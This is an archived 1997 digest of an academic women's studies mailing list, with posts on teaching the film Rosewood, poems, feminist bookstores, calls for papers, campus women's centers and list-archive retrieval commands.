Enter_, ""To Sell My Life..."" >>from bell hooks' _Ain't I a Woman_, ""Undeclared War: African American Women >> Writers"" >>from Michael Dyson ""The Plight of the Black Man"" >> >>I am supporting ""CT, AH..."" with: >>James Jones' ""Whites Are from Mars, O.J. Is from Planet Hollywood..."" >> in Off White >>and I am considering looking at a chapter of Jill Nelson's book called >> _Straight, No Chaiser_ >> >>I would welcome hearing about other violence against women films, >>or materials that have been particularly effective in connecting gender >>and race/ethnicity/class for students. I will track down ""Calling the >>Ghosts"" >>soon! >> >>Best, >> >>Heather Dell >>Women's Studies Program >>University of Delaware > > >__________ >Jackie Thomason 510-547-1518 >jackiet@sirius.com; Msjackiet@aol.com >__________ > > ========================================================================= Date: Sat, 27 Sep 1997 18:39:50 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Judy Beris Subject: Re: Poems about the uterus Erica Jong's ""Gardener"" is another. ========================================================================= Date: Sat, 27 Sep 1997 16:51:27 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Thomason Subject: Re: films about violence against women In-Reply-To: <3.0.16.19970927163624.35afbd7c@staff.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" ye-ah....those were rhetorical questions, questions that I think were inadequately addressed by the film. With the result that the portrayals white woman, and many of the black characters were flattened. >Jackie, >The motivation for hiding the abuse was to hide the fact that she was >having an affair. She could not charge the man who beat her with assault >since as a married woman she was not supposed to be with him in the first >place. > >Secondly, the forces that caused her to place the blame on an African >American male involve the stereotype of African American men as rapists and >the erroneous belief that all African American men lust after white women. >During the period in which the film takes place, lynching of African >American men (and women) was common - often based on false and imagined >assaults on white women. Interesting note - it is still the cause today of >many abuses. Remember the case aired on 911 in Massachusetts when a white >man, who killed his pregnant wife and was shot claimed the crime was >committed by an African American man and it was later brought out that he >had committed the crime himself? > >At 12:48 PM 9/27/97 -0800, you wrote: >>I thought Rosewood was an excellent movie. Two caveats: >> >>That there was no analysis of the white woman's point of view; she was >>simply made to be the villain. Why did she hide the abuse by the man (not >>her husband as I recall) who beat her? What were the forces that caused >>her to place blame on an African American man? >> >>On the other hand, the film gave a great deal of understanding attention to >>the white male storeowner placing him more at the center than necessary and >>pretty much excusing his exploitation of African American men and women and >>his white wife. >> >> >> >>Jackie >> >> >> >>At 11:12 AM -0400 9/27/97, Heather Dell wrote: >>>I am using Rosewood, the recent video about a white woman who covers up >>>her victimization by her husband by allowing an African American man to >>>be confronted by the white community on a rape charge in 1920s Florida. >>>It is part of a section in my Women and Violence course that focuses not >>>only on how sexual assault allegations have been used against communities >>>of color, but also to begin to explore how women of color have been asked >>>to avoid accusing brothers. I use an episode of Frontline called >>>Clarence Thomas, Anita Hill, Public Hearing, Private Pain. It includes >>>interviews >>>with people like Paula Giddings. >>> >>>I am supporting ""Rosewood"" with: >>>from P. Giddings _Where and When I Enter_, ""To Sell My Life..."" >>>from bell hooks' _Ain't I a Woman_, ""Undeclared War: African American Women >>> Writers"" >>>from Michael Dyson ""The Plight of the Black Man"" >>> >>>I am supporting ""CT, AH..."" with: >>>James Jones' ""Whites Are from Mars, O.J. Is from Planet Hollywood..."" >>> in Off White >>>and I am considering looking at a chapter of Jill Nelson's book called >>> _Straight, No Chaiser_ >>> >>>I would welcome hearing about other violence against women films, >>>or materials that have been particularly effective in connecting gender >>>and race/ethnicity/class for students. I will track down ""Calling the >>>Ghosts"" >>>soon! >>> >>>Best, >>> >>>Heather Dell >>>Women's Studies Program >>>University of Delaware >> >> >>__________ >>Jackie Thomason 510-547-1518 >>jackiet@sirius.com; Msjackiet@aol.com >>__________ >> >> __________ Jackie Thomason 510-547-1518 jackiet@sirius.com; Msjackiet@aol.com __________ ========================================================================= Date: Sat, 27 Sep 1997 20:27:11 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Vera Whisman Subject: lesbians counted by census? MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Someone mentioned in passing that Park Slope, Brooklyn, has the highest density lesbian population according to the 1990 census. Since the census does not ask for sexual preference, what proxy is being used to come up w/ a figure? Dwellings shared by adult ""unrelated"" women? BTW, I lived in the Slope for ten years and have no doubt that it IS the most lesbian neighborhood in the U.S. I just would like to know what the data being cited are. Thanks. Vera Whisman Hobart and William Smith Colleges whisman@hws.edu ========================================================================= Date: Sat, 27 Sep 1997 19:06:52 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Ellen Cronan Rose Subject: Re: Introductory Assessment (fwd) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I think other subscribers to WMST-L would like to know of any existing ""benchmark"" questionnaires to administer at the beginning of an introductory WS course. Would people responding to Sheilagh's request please post to the list? Thanks. Ellen Cronan Rose, Director, Women's Studies Program, UNLV 4505 Maryland Parkway, Las Vegas, NV 89154-5055 PHONE (702) 895-0838, FAX (702) 895-0850 ecrose@nevada.edu ========================================================================= Date: Sun, 28 Sep 1997 17:44:13 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Andrea J Benintende Subject: Re: Feminist Bookstores in NYC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII i would however say that talking leaves, although being a great progressive bookstore is *not* a feminist bookstore in the tradition of ""emma"" (now defunct feminist bookstore in buffalo, NY) and ""silkwood"" in rochester. A. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ andrea j. berman-benintende, holistic therapist ajb9@acsu.buffalo.edu state university of new york at buffalo what is the source of our first suffering? it lies in the fact that we hesitated to speak. it was born in the moment when we accumulated silent things within us. _gaston bachelard ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo On Sat, 27 Sep 1997, Jack Meacham wrote: > On Sat, 27 Sep 1997, Women's Presses Library Project, Mev Miller wrote: > > > >As friend is going to New York City and would like to visit some feminist > > >bookstores while there. If anyone can recommend some good, all-purpose, > > >feminist bookstores in the city, I'd be most grateful. > > > > > >Sally Harrison-Pepper > > >sallynla@aol.com > > > > The only feminist bookstores in New York STATE are: > > Panacea in Port Chester > > Silkwood in Rochester > > and > > My Sisters' Words in Syracuse > > > > Talking Leaves, 716-837-8554, 3158 Main Street, Buffalo (near the south > campus of State University of New York at Buffalo) has many feminist > titles. Yes, this may be a bit far from New York City (so are Rochester > and Syracuse); however, several years ago a friend from California > planning a visit asked if she stayed with us could she ride the subway to > Times Square. > ========================================================================= Date: Sun, 28 Sep 1997 23:15:20 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Florence Howe Subject: ELAINE HEDGES: A TRIBUTE The 64-page book called ELAINE HEDGES: A TRIBUTE has been published by The Feminist Press at CUNY and the Towson University's Women's Studies Program and the National Center for Curriculum Transformation Resources on Women. It is designed to remind people of Elaine's editing of THE YELLOW WALL-PAPER in 1973. It contains tributes by her family, and by friends and colleagues, as well as three excerpts from her own work, including the very last proposal she wrote for the American Studies Association on domestic violence and quilts, as well as a brief bibliography. The book is available free from The Feminist Press if you will send us a 5 x 8 inch envelope and $1.00 to cover the cost of postage--or a $1.01 in stamps. If you want more than one copy, please send $.50 for each additional copy. Send your requests to Kritsa Pethkongkathon, assistant to the publisher, The Feminist Press at CUNY, City College, Wingate Hall, Convent Avenue at 138th Street, New York, NY 10031. Phone: 212-650-8890; Fax: 212-650-8893. Florence Howe (florench@aol.com) ========================================================================= Date: Mon, 29 Sep 1997 15:15:15 +0900 Reply-To: Women's Studies List Sender: Women's Studies List From: Alfredo Varela Subject: Roosie the Riveter MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp A few months ago some one listed a film which discussed the lives of women's roles in the war effort. Apparently it particular discussed the lives of the women involved in the building of ships and airpplanes and the popular icon of Roosie the Riverter. I saved the listing but since then my computer has crashed and this was one of the files I lost. Could someone please send me the title of this film along with any ordering information that might be available? Please reply privately. I would really appreciate it. Sincerely, A. Varela varela@es.htokai,ac.jp ========================================================================= Date: Mon, 29 Sep 1997 09:46:04 +0200 Reply-To: Women's Studies List Sender: Women's Studies List From: Giobbi Giuliana Subject: Call for proposals MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear List members, I have been asked to forward this calls for proposals, which may be of interest to you. Please address your enquiries to the persons indicated below. Thank you Dr.G.Giobbi ----------------------------------------------------------------------- PROPOSALS SOUGHT FOR: A.S.BYATT - NEW CRITICAL ESSAYS We invite submissions of papers for a volume of essays designed to reflect current Byatt scholarship. This will be the first published collection of academic studies on the British novelist A.S.Byatt, and we hope to draw together critical voices addressing a wide variety of themes and critical approaches. Possible topics include: - Critical Narratives - Ideas and imagination in the Novels of A.S.Byatt - Tradition and Transformation - Realism and Postmodernity in Byatt - Science and Fiction - Memory and Historiographic Metafiction - Art, Image, and Truth in Byatt - Intertextuality/Intratextuality... Papers addressing these or related issues are welcome and should be sent by 28 February 1998 to Alexa Alfer, School of English and Drama, Queen Mary & Westfield College, University of London, Mile End Riad, London E1 4NS, England ( a.alfer@qmw.ac.uk); OR: Michael Noble, University of Southwestern Louisiana, PO Box 40235, lafayette, LA 70504-0235, USA (mjn2149@usl.edu). ---------------------------------------------------------------------- ========================================================================= Date: Mon, 29 Sep 1997 08:28:40 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Carol A. Powers"" Subject: Re: Roosie the Riveter MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII The Life and Times of Rosie Riveter is distributed on video by Direct Cinema, PO Box 10003, Santa Monica, CA 90410. 800-525-0000. 65"" long, produced in 1981, cost: 355. ""Five former `Rosies' recall their experiences in WWII. Contains rare archival footage of recruiting films."" This is the info I have in my files from last year. Carol A. Powers Department of Philosophy Women's Studies Program Women's Task Force Phillips Hall Ohio Wesleyan University Delaware, OH 43015 614-368-3795 capowers@cc.owu.edu ========================================================================= Date: Mon, 29 Sep 1997 08:54:22 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Elisabeth Golding Subject: Re[2]: films about violence against women/Rosewood Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit The actual events of the 1923 Rosewood massacre still reverberate for the people of Florida. I would caution against analysis of the film's portrayal of the people and events of Rosewood without comparison to what is actually known of them (not nearly enough, unfortunately). For that, I recommend two sources (in addition to contemporary news accounts and recent legislative records): 1) D'Orso, Michael. Like judgment day: the ruin and redemption of a town called Rosewood. New York: Boulevard Books. 1996. 2) A documented history of the incident which occurred at Rosewood, Florida, in January 1923 : submitted to the Florida Board of Regents 22 December 1993 / principal investigator, Maxine D. Jones ; co-project director, Larry E. Rivers ; investigators, David R. Colburn, R. Tom Dye, William R. Rogers. PUBLISHED: [Tallahassee, Fla. : Board of Regents, 1993] What ""actually happened"" (in particular the events that precipitated the massacre and the destruction of Rosewood) is still disputed in Florida, and it was only three years ago that the Florida Legislature passed a bill providing for monetary compensation for surviving victims and their desendants. In part the delay was typical of the conservative nature of Florida politics (the 19th amendment was not ratified until 1969!), and in part the result of the literally unspeakable trauma suffered by the residents of Rosewood, many of whom would not talk about the incident, even to family members, for decades after it occurred. (When the legislature held hearings in 1994 regarding the proposed ""Rosewood claims bill,"" several survivors and descendants testified about the events. Videotapes of these hearings show that their testimony is given in an almost matter-of-fact manner, yet is riveting.) Beth Golding Florida State Archives egolding@mail.dos.state.fl.us ========================================================================= Date: Mon, 29 Sep 1997 09:32:18 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: linda bernhard Subject: amazons MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII I'm sorry this is kinda late, but... anyway, a delightful novel about amazons is _The Amazon Chronicles_ by Jane EM Robinson, Clothespiin Fever Press, 1994. ISBN 1-8785533-12-6. Linda Bernhard The Ohio State University Bernhard.3@osu.edu ========================================================================= Date: Mon, 29 Sep 1997 08:41:06 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Beth Rogers Subject: follow up: Feminist Bookstores: LA MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In the same line.......I am heading to LA in early November, any great independent/feminist bookstores to add to the tour??? Beth Rogers Wichita State University Wichita Ks ========================================================================= Date: Mon, 29 Sep 1997 10:12:07 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Sheila Hassell Hughes Subject: poem re: sexual violence In-Reply-To: <199709272016.QAA17416@graf.cc.emory.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The current discussion about films--especially ROSEWOOD, which I admit not yet having seen--brings to mind a Gwendolyn Brooks poem: ""A Bronzeville Mother Loiters in Mississippi; Meanwhile a Mississippi Mother Burns Bacon."" It frames the Emmett Till case from the white woman's perspective (Brooks is, of course, Black)--contrasting the supposed sexual threat posed by the adolescent black boy to the actual physical, sexual, and social threat posed by the woman's white husband (one of the lynchers). The poem hinges on a moment of potential re-identification for her. It might provide an interesting accompaniment to class discussions on ""Rosewood""--leading into some of the analysis that one poster has identified as lacking in the film. (There is also a second poem, ""The Last Ballad of Emmett Till"", I think its called, which i believe takes the black mother's viewpoint). _____________________________ Sheila Hassell Hughes Visiting Assistant Professor Institute for Women's Studies Emory University, Atlanta, GA 30322 shughes@emory.edu ========================================================================= Date: Mon, 29 Sep 1997 07:25:08 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Nikki Senecal Subject: Re: Feminist Bookstores: LA In-Reply-To: <01BCCCB3.6E365CC0@beth.las.twsu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >In the same line.......I am heading to LA in early November, any great > independent/feminist bookstores to add to the tour??? Sisterhood Books on 1351 Westwood Ave 3 blocks S of Wilshire, LA (near UCLA) A Different Light (gay/lesbian) 8853 Santa Monica Blvd, LA Midnight Special (politics) 1318 3rd Street Promenade, Santa Monica Los Angeles is pretty notorious for it's lack of bookstores. In the yellow pages there are 1 1/2 pages of bookstores--and that includes Cody's up in Berkeley! Nikki Senecal Department of English University of Southern California Los Angeles, CA 90089-0354 Internet: senecal@scf-fs.usc.edu ========================================================================= Date: Mon, 29 Sep 1997 10:46:03 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: feminist bookstore listing MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Hi, folks. In response to the most recent query about feminist bookstores, I'd like to point out that there's an online listing of feminist bookstores around the world at http://www.igc.apc.org/women/bookstores/bookmain.html . Joan ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Mon, 29 Sep 1997 09:07:30 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: michelle moravec Subject: Re: follow up: Feminist Bookstores: LA Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Yes, Sisterhood Bookstore located near UCLA is a wonderful place that has been around since the early 1970s and is still owned by two of the three original founders. Michelle Moravec At 08:41 AM 9/29/97 -0500, you wrote: >In the same line.......I am heading to LA in early November, any great > independent/feminist bookstores to add to the tour??? > >Beth Rogers >Wichita State University >Wichita Ks > > ========================================================================= Date: Mon, 29 Sep 1997 12:57:51 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mary Cutter Subject: Research-help MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi! I work at the Women's Center on campus and one of the things that we offer faculty & students involved in the Women's Studies program is help with research. Currently, I am working on a few projects and I would like to know if anyone has information about the following topics which might be useful: 1)information on ""diversity minors"" - do any exist, and if so where can I find them? 2) analysis or critique of jokes that are offensive/abusive to women, and 3)advice from mothers or grandmothers on life and how to live it. I appreciate any help that you can give me. Please respond privately. Thanks! Mary Cutter e-mail: mcutter@mcla.mass.edu ========================================================================= Date: Mon, 29 Sep 1997 15:21:38 EST Reply-To: Women's Studies List Sender: Women's Studies List Comments: Converted from OfficeVision to RFC822 by PUMP V2.2X From: ""Linda Lopez McAlister, SWIP-L Moderator"" Subject: Film on Violence Against Women There are lots of films that contain lots of violence against women. There are, however, very few feature films made by feminist filmmakers that try to use the medium of film to oppose violence to women. A couple of years ago I started to try to figure out why that was the case and to look for some examples of feminist filmmakers who did seem to be doing this and analyze how they did it. The filmmakers I looked at were Diane Kurys (France), Jutta Brueckner (Germany) and Pratiba Parmar (UK). The problem is, you don't want to just put the scenes of violence up there on the big screen in a realistic manner, for that very act runs the risk of inviting identification with the perpetrators of the violence--just what you don't want to do. I'm sure you've all heard the horror stories of young male moviegoers cheering on the rapists in ""The Accused."" And I long ago stopped showing ""Not a Love Story"" to my classes because the guys in the a/v crew were vying with one another to get that assignment so they could see the dirty pictures. I'm not exactly pleased the results of my thinking on this subject, but that didn't stop me from giving a paper on it at a conference. It's kind of a first baby step in an interesting direction. It has recently appeared in a collection of pieces from the conference. The paper is called, ""Feminist Cinematic Depictions of Violence Against Women: An Analysis of Three Representational Strategies."" It's in KRIEG/WAR, Munich: Wilhelm Fink Verlag, 1997. I have some reprints I'd be happy to send out as long as they last. ********************************************* Linda Lopez McAlister, Editor, HYPATIA; Listowner SWIP-L; Chair Dept. of Women's Studies, University of South Florida, Tampa. Tel. 813-974-0982/FAX 813-974-0336/mcaliste@chuma.cas.usf.edu ========================================================================= Date: Mon, 29 Sep 1997 18:31:33 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Deborah A. Elliston"" Subject: feminist bookstores in NYC Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable There used to be a good feminist studies section in New York's largest queer bookstore, A Different Light (151 W 19th Street, nr 7th Avenue). =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83= =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83 Deborah A. Elliston Visiting Assistant Professor * Department of Anthropology Cornell University * 264 McGraw Hall * Ithaca, New York 14853 Phone: 607/255-4040 * Fax: 607/255-3747 E-mail: dae13@cornell.edu =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83= =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83 ========================================================================= Date: Mon, 29 Sep 1997 21:36:05 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Rosa Maria Pegueros Subject: A cautionary tale Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" This is not related to women's studies but I thought it would be valuable information for members of this list. I returned to my office after Labor Day to find that my computer wasn't working. After some investigation, we found that a lightning and thunder storm had hit four buildings on our campus leaving a trail of computer havoc: I lost my motherboard, video card and modem. The chair of my department lost his whole unit, and another colleague lost his printer as well as his entire unit. One of the other buildings lost its entire Ethernet network. All of us had our computers on surge protectors. I thought that my $20 surge protector was enough. It wasn't. Apparently, surge protectors are of little value when a building takes a direct hit. As you can imagine, we are lucky to be self-insured for this kind of a disaster. Since I had, in the past, backed my files up on small floppy disks only to find that they went bad after a while, I had not backed up most of my files pending the purchase of a zip drive. Luckily for me, my hard drive was not affected but I need a new computer since it would cost too much to repair it and taking the obsolesence factor into consideration, it would not be worth it. Since, however, we are a state institution, they are only putting out the request for bids tomorrow, so I have been teaching without my files and may not have a new computer until the new year. The technician who diagnosed my computer made these suggestions and I pass them on to you. 1) Back up all your files NOW. 2) Buy a GOOD surge protector (it may cost you $150) that has outlets for the telephone wires. My machine was damaged by a surge that came through the phone wires. 3) During the lightning season (summer, autumn) disconnect the whole thing when you leave the office. 4) Be particularly careful with your equipment at home. While the electrical systems in more modern office buildings may be equipped to deal with such an event, most homes are not. The tech told us he sees dozens of cases like this every year, especially in homes. Rosie Now back to your regularly scheduled programming... ....................................................................... Rosa Maria Pegueros pegueros@uriacc.uri.edu Assistant Professor Department of History Office : 217C Washburn Hall University of Rhode Island Telephone: (401) 874-4092 80 Upper College Road, Suite 3 Fax : (401) 874-2595 Kingston, RI 02881 ""Qui me amat, amat et canem meum."" ========================================================================= Date: Mon, 29 Sep 1997 21:43:25 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jennifer Stair Subject: Women Center Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Hello Fellow Members, I am a graduate student at the University of Kentucky and I am interested in starting a women's center on campus. If anyone has any information on this please send it to jlstai0@pop.uky.edu Does anyone know Judy Jenning's email address, Director Of Women's Center at University of Louisville? Thanks Jennifer Stair ========================================================================= Date: Tue, 30 Sep 1997 07:34:26 CDT Reply-To: Women's Studies List Sender: Women's Studies List From: Julie Nelson Subject: Re: Women Center In-Reply-To: Your message of Mon, 29 Sep 1997 21:43:25 -0400 <3.0.3.32.19970929214325.006bb7f8@pop.uky.edu> Jennifer, I am a graduate student at Iowa State University and a member of the advisory board to our Women's Center. The Center is fifteen years old. I am not sure how it got started, but your question makes me wonder. Our next meet in October 9; I will ask other board members at the meeting, and also ask for suggestions members may have about getting started. I will keep your message on file and e-mail you back at that time. Meanwhile, good luck getting started! Julie Nelson jnelson@iastate.edu > Hello Fellow Members, > I am a graduate student at the University of Kentucky and I am interested > in starting a women's center on campus. If anyone has any information on > this please send it to jlstai0@pop.uky.edu > > Does anyone know Judy Jenning's email address, Director Of Women's Center > at University of Louisville? > > Thanks Jennifer Stair --- Julie R Nelson jnelson@iastate.edu ========================================================================= Date: Tue, 30 Sep 1997 08:18:54 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: follow up: Feminist Bookstores: LA Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Sisterhood Bookstore in LA 800-747-0220 >In the same line.......I am heading to LA in early November, any great > independent/feminist bookstores to add to the tour??? > >Beth Rogers >Wichita State University >Wichita Ks WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Tue, 30 Sep 1997 09:43:38 -0400 Reply-To: nancy o'neill Sender: Women's Studies List From: nancy o'neill Subject: Re: Women Center Comments: cc: ckodama@deans.umd.edu In-Reply-To: <9709301234.AA00979@las3a.iastate.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi there, in relation to recent postings on women's centers: I am a graduate student in college student personnel w/ an assignment to compare two campuses for their work in particular areas, and my areas are women's centers and multicultural centers. I am just beginning to look for women's centers/multicultural centers in the Maryland, DC, and Virginia area, and would appreciate any information as to centers in this area. Furthermore, I may not have much luck finding local centers, and would also appreciate any information that could be provided about centers around the country (ie, web sites, copies of proposals, fact sheets, descriptions) I could pay for a small amount of postage, by sending self-addressed stamped manila envelopes to folks w/info. Thank you VERY MUCH for any help you could provide. Nancy O'Neill University of Maryland College Park ========================================================================= Date: Tue, 30 Sep 1997 10:12:03 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: redirecting women's center queries MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Hi. In response to those people interested in obtaining information about women's centers, a more appropriate place to post such queries may be WRAC-L, a list for women's resource and action centers. To join, send the message SUBSCRIBE WRAC-L Your Name (e.g., SUBSCRIBE WRAC-L Jane Doe) to LISTSERV@DARTMOUTH.EDU . Please hold discussions about women's centers (and send queries about women's centers) there. I'm not sure, but it's possible that you can obtain more info about WRAC-L by sending the message INFO WRAC-L to the above address. Many thanks. Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Tue, 30 Sep 1997 12:55:56 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mary Davidson Subject: Re: Film on Violence Against Women dear Linda... I would very much like a copy of this paper...thank you.. Mary Davidson Columbia Greene Community College...4400 Route 23...Hudson, new york...12534 ========================================================================= Date: Tue, 30 Sep 1997 15:41:51 EST Reply-To: Women's Studies List Sender: Women's Studies List Comments: Converted from OfficeVision to RFC822 by PUMP V2.2X From: ""Linda Lopez McAlister, SWIP-L Moderator"" Subject: Request for reprints I've already had more requests for reprints than I have reprints. I'll send out the ones I have but I'll also be put the text of the paper on my web site so those of you who don't get one can download it from there (or I could put it in the WMST-L files if that's ok with Joan). I'll let you k now the URL and when it's ready to download. Linda ********************************************* Linda Lopez McAlister, Editor, HYPATIA; Listowner SWIP-L; Chair Dept. of Women's Studies, University of South Florida, Tampa. Tel. 813-974-0982/FAX 813-974-0336/mcaliste@chuma.cas.usf.edu ========================================================================= Date: Tue, 30 Sep 1997 14:50:59 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Carol Cyganowski Subject: disability issues Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I was wondering if other women's studies programs or schools had encountered transport issues with disabled faculty, staff, students--and how transport needs were met. My university formerly provided disabled folks transportation between buildings via security cars. Now, because of a reorganization, security is no longer responsible for such services, but no one has provided a reasonable alternative. (The Human Resources VP suggested that I take a cab--for 3 blocks, in Chicago.) How does your school handle transport for the disabled? Was your Women's Studies Program involved? I'd be most grateful for any information. PLEASE reply privately; I know Joan won't want this cluttering up the list. ccyganow@shrike.depaul.edu Carol Cyganowski English Department DePaul University 802 W. Belden Chicago, IL 60614 (773) 325-7537 ========================================================================= Date: Tue, 30 Sep 1997 18:02:01 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Tamara Agha-Jaffar Subject: Re: Poems about the uterus See also ""My Womb"" by Esmerelda Bernal. You can find it in The Woman that I Am edited by D. Soyini Madison. all best, tamara wskckcc@aol.com ========================================================================= Date: Tue, 30 Sep 1997 17:26:29 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Corinne Dale Subject: Call for papers--Katherine Mansfield MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii"" Content-transfer-encoding: 7BIT Renewed CALL FOR PAPERS Colloquium on ""The Short Stories of Katherine Mansfield"" Jan. 16 & 17, 1998 at the University of Angers in Angers, France Papers in English or French should not exceed 5000 words. Speaking time restricted to 20 mins. All papers will be considered for publication in the Journal of the Short Story in English. Send proposals and abstracts by OCT 15 to Dominique Dubois UFR Lettres Langues et Sciences Humaines Maison des Sciences Humaines 2, rue Fleming 49066 Angers cedex 01 France e-mail: dominique.dubois@univ-angers.fr ========================================================================= Date: Tue, 30 Sep 1997 19:38:29 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""JENNIFER R. SCANLON"" Organization: SUNY at Plattsburgh, New York, USA Subject: History of Take Back the Night? MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT I have noticed discussion of TAke Back the Night. The student feminist group on our campus is organizing a forum on the history of TAke Back the Night and needs help. Does anyone know of anything written on the history, or does anyone have that history to share? Please post privately or to the list. Thanks, Jennifer Scanlon Director of Women's Studies Plattsburgh State University scanlojr@splava.cc.plattsburgh.edu ========================================================================= Date: Tue, 30 Sep 1997 20:06:39 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Allan Schramm Subject: Roundtable Symposium: Sex & Academia MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII I am posting this announcement for a friend and colleague... The University of Connecticut will be hosting a roundtable symposium on October 22 titled ""Let's talk about Sex: Lesbian, Gay, Bisexual, Transgender, and Queer Academia."" The event runs from 4-6 pm and will be held in the Fine Arts Bldg. in the Pit. (Storrs Campus). For more information, contact either Margaret Breen at mbreen@uconnvm.uconn.edu or Erin Valentino at evalentino@finearts.sfa.uconn.edu --Allan Schramm, Oneonta, New York USA SCHRAMAN@SNYONEVA.CC.ONEONTA.EDU ========================================================================= Date: Tue, 30 Sep 1997 23:03:07 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: History of Take Back the Night? MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Jennifer Scanlon wrote: > I have noticed discussion of TAke Back the Night. The student feminist group > on our campus is organizing a forum on the history of TAke Back the Night and > needs help. Does anyone know of anything written on the history, or does > anyone have that history to share? Please, folks, we just finished a round of messages about Take Back the Night, including some that addressed the question of its history. Let's not start yet another round. To make it easy for you to find some of the many past discussions of this topic, I've added two files to the WMST-L filelist: TAKEBACK NIGHT1 and TAKEBACK NIGHT2. The first includes messages from 1995; the second covers the very recent discussion (Sept. 1997). To get these files, send the following two-line message to LISTSERV@UMDD.UMD.EDU: GET TAKEBACK NIGHT1 GET TAKEBACK NIGHT2 If you'd like to see what other files are available, add a third line that includes just the two words INDEX WMST-L . Be sure to send your message to LISTSERV@UMDD.UMD.EDU, **not** to WMST-L. More information about the file collection can be found in the Source of All Wisdom, the WMST-L User's Guide (http://www.umbc.edu/wmst/user-guide.html). And if you'd like to learn how to search the logfiles for yourself (that's what I did to find the ""Take Back the Night"" messages), you can send for instructions. If you add the line GET SEARCH LOGFILES, you'll get the instructions I learned from; if you'd prefer a simplified procedure, you'll find it described at http://www.umbc.edu/wmst/simplesearch.html . Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * *****************************************************************************",0,1 José Fiadeiro ,THEORYNT@LISTSERV.NODAK.EDU,"Wed, 17 Sep 1997 18:27:37 -0700",ETAPS'98 - call for 